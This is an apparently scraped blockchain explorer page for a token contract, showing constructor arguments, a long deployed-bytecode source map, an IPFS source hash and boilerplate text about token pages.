Arg [1] : pairAddress (uint256): 515089086392535380987376291410452138018849610018

-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 0000000044927addc4a75355b71648d62534a1798a8228706874264f2e8c1714
Arg [1] : 0000000000000000000000005a3964ba0fc4c76d25bd15b48bec09bc0902d922


Deployed Bytecode Sourcemap

7808:8152:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9346:92;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10515:157;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;10515:157:0;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;9504:100;;;:::i;:::-;;;;;;;;;;;;;;;;11133:305;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;11133:305:0;;;;;;;;;;;;;;;;;:::i;9033:85::-;;;:::i;:::-;;;;;;;;;;;;;;;;;;;11500:388;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;11500:388:0;-1:-1:-1;11500:388:0;;:::i;:::-;;12821:204;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;12821:204:0;;;;;;;;:::i;11896:525::-;;;:::i;9668:134::-;;;;;;;;;;;;;;;;-1:-1:-1;9668:134:0;-1:-1:-1;;;;;9668:134:0;;:::i;14984:209::-;;;:::i;8889:79::-;;;:::i;:::-;;;;-1:-1:-1;;;;;8889:79:0;;;;;;;;;;;;;;9185:96;;;:::i;13518:255::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;13518:255:0;;;;;;;;:::i;10007:163::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;10007:163:0;;;;;;;;:::i;10230:145::-;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;10230:145:0;;;;;;;;;;:::i;9346:92::-;9425:5;9418:12;;;;;;;;-1:-1:-1;;9418:12:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9394:13;;9418:12;;9425:5;;9418:12;;9425:5;9418:12;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9346:92;:::o;10515:157::-;10592:4;10607:37;10616:10;10628:7;10637:6;10607:8;:37::i;:::-;-1:-1:-1;10660:4:0;10515:157;;;;:::o;9504:100::-;9584:12;;9504:100;:::o;11133:305::-;11233:4;11248:36;11258:6;11266:9;11277:6;11248:9;:36::i;:::-;11293:117;11302:6;11310:10;11322:87;11358:6;11322:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;11322:19:0;;;;;;:11;:19;;;;;;;;11342:10;11322:31;;;;;;;;;:87;:35;:87::i;:::-;11293:8;:117::i;:::-;-1:-1:-1;11426:4:0;11133:305;;;;;:::o;9033:85::-;9108:2;9033:85;:::o;11500:388::-;11580:9;:7;:9::i;:::-;11575:23;;11591:7;;11575:23;11727:4;;11732:1;11727:7;;;;;;;;;;;;;11719:16;;11606:9;:110;11634:4;;11639:1;11634:7;;;;;;;;;;;;;11626:16;;11646:1;11626:21;;:79;;11703:1;11626:79;;;11683:4;;11688:1;11683:7;;;;;;;;;;;;;11675:16;;11626:79;-1:-1:-1;;;;;11606:110:0;-1:-1:-1;;;;;11606:110:0;;;;;;;;;;;;:129;;;;11744:11;11766:4;;11771:1;11766:7;;;;;;;;;;;;;11758:16;;11744:30;;11817:1;11806:8;11795:4;;11800:1;11795:7;;;;;;;;;;;;;11787:16;;:27;:31;11783:44;;;11820:7;;;11783:44;11877:3;11835;:39;11863:4;;11868:1;11863:7;;;;;;;;;;;;;11855:16;;-1:-1:-1;;;;;11835:39:0;-1:-1:-1;;;;;11835:39:0;;;;;;;;;;;;:45;;;;11500:388;;;;;:::o;12821:204::-;12927:10;12903:4;12948:23;;;:11;:23;;;;;;;;-1:-1:-1;;;;;12948:32:0;;;;;;;;;;12903:4;;12918:79;;12939:7;;12948:48;;12985:10;12948:36;:48::i;11896:525::-;11950:9;;;;;;;;;;;;-1:-1:-1;;;11950:9:0;;;;;;-1:-1:-1;;;;;;;;;;;11950:9:0;;;;;;;;11973:12;;;;;;;;;;;;-1:-1:-1;;;11973:12:0;;;;;;-1:-1:-1;;;;;;;;;;;11973:12:0;;;;;;;;11999:14;;;;;;;;;;;;-1:-1:-1;;;11999:14:0;;;;;;-1:-1:-1;;;;;;;;;;;11999:14:0;;;;;;;;12027:12;;;;;;;;;;;;-1:-1:-1;;;12027:12:0;;;;;;-1:-1:-1;;;;;;;;;;;12027:12:0;;;;;;;;12053:9;;;;;;;;;;;;-1:-1:-1;;;12053:9:0;;;;;;-1:-1:-1;;;;;;;;;;;12053:9:0;;;;;;;;12076:14;;;;;;;;;;;;-1:-1:-1;;;12076:14:0;;;;;;-1:-1:-1;;;;;;;;;;;12076:14:0;;;;;;;;12104:12;;;;;;;;;;;;-1:-1:-1;;;12104:12:0;;;;;;-1:-1:-1;;;;;;;;;;;12104:12:0;;;;;;;;11896:525::o;9668:134::-;-1:-1:-1;;;;;9782:12:0;9736:7;9782:12;;;:3;:12;;;;;;;;;9761:9;:18;;;;;;;:33;;9668:134::o;14984:209::-;15153:10;15053:67;15137:34;15176:9;15136:49;14984:209;:::o;8889:79::-;8954:6;;-1:-1:-1;;;;;8954:6:0;8889:79;:::o;9185:96::-;9266:7;9259:14;;;;;;;;-1:-1:-1;;9259:14:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9235:13;;9259:14;;9266:7;;9259:14;;9266:7;9259:14;;;;;;;;;;;;;;;;;;;;;;;;13518:255;13605:4;13620:125;13629:10;13641:7;13650:94;13687:15;13650:94;;;;;;;;;;;;;;;;;13662:10;13650:23;;;;:11;:23;;;;;;;;-1:-1:-1;;;;;13650:32:0;;;;;;;;;;;:94;:36;:94::i;10007:163::-;10087:4;10102:40;10112:10;10124:9;10135:6;10102:9;:40::i;10230:145::-;-1:-1:-1;;;;;10339:19:0;;;10314:7;10339:19;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;10230:145::o;15624:332::-;-1:-1:-1;;;;;15717:20:0;;15709:69;;;;-1:-1:-1;;;15709:69:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15795:21:0;;15787:68;;;;-1:-1:-1;;;15787:68:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15864:19:0;;;;;;;:11;:19;;;;;;;;:28;;;;;;;;;;;;;:37;;;15915:33;;;;;;;;;;;;;;;;;15624:332;;;:::o;14251:670::-;-1:-1:-1;;;;;14347:20:0;;14339:70;;;;-1:-1:-1;;;14339:70:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14426:23:0;;14418:71;;;;-1:-1:-1;;;14418:71:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14498:11;14512;-1:-1:-1;;;;;14512:21:0;;14534:6;14512:29;;;;;;;;;;;;;-1:-1:-1;;;;;14512:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;14512:29:0;;-1:-1:-1;14561:1:0;14554:8;;:27;;;;-1:-1:-1;;;;;;14566:11:0;;14580:1;14566:11;;;:3;:11;;;;;;:15;;14554:27;14550:251;;;14608:65;14624:6;14608:65;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14608:11:0;;;;;;:3;:11;;;;;;;:65;:15;:65::i;:::-;-1:-1:-1;;;;;14594:11:0;;;;;;:3;:11;;;;;:79;14550:251;;;14720:71;14742:6;14720:71;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14720:17:0;;;;;;:9;:17;;;;;;;:71;:21;:71::i;:::-;-1:-1:-1;;;;;14700:17:0;;;;;;:9;:17;;;;;:91;14550:251;-1:-1:-1;;;;;14832:20:0;;;;;;:9;:20;;;;;;:32;;14857:6;14832:24;:32::i;:::-;-1:-1:-1;;;;;14809:20:0;;;;;;;:9;:20;;;;;;;;;:55;;;;14878:35;;;;;;;14809:20;;14878:35;;;;;;;;;;;;;14251:670;;;;:::o;4545:176::-;4631:7;4663:12;4655:6;;;;4647:29;;;;-1:-1:-1;;;4647:29:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;4695:5:0;;;4545:176::o;3720:165::-;3778:7;3806:5;;;3826:6;;;;3818:46;;;;;-1:-1:-1;;;3818:46:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;3878:1;3720:165;-1:-1:-1;;;3720:165:0:o

Swarm Source

ipfs://7d1a9488d3b14ee60b92551bc222208d557e61e39a6f9be2025e7264d470ec7d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.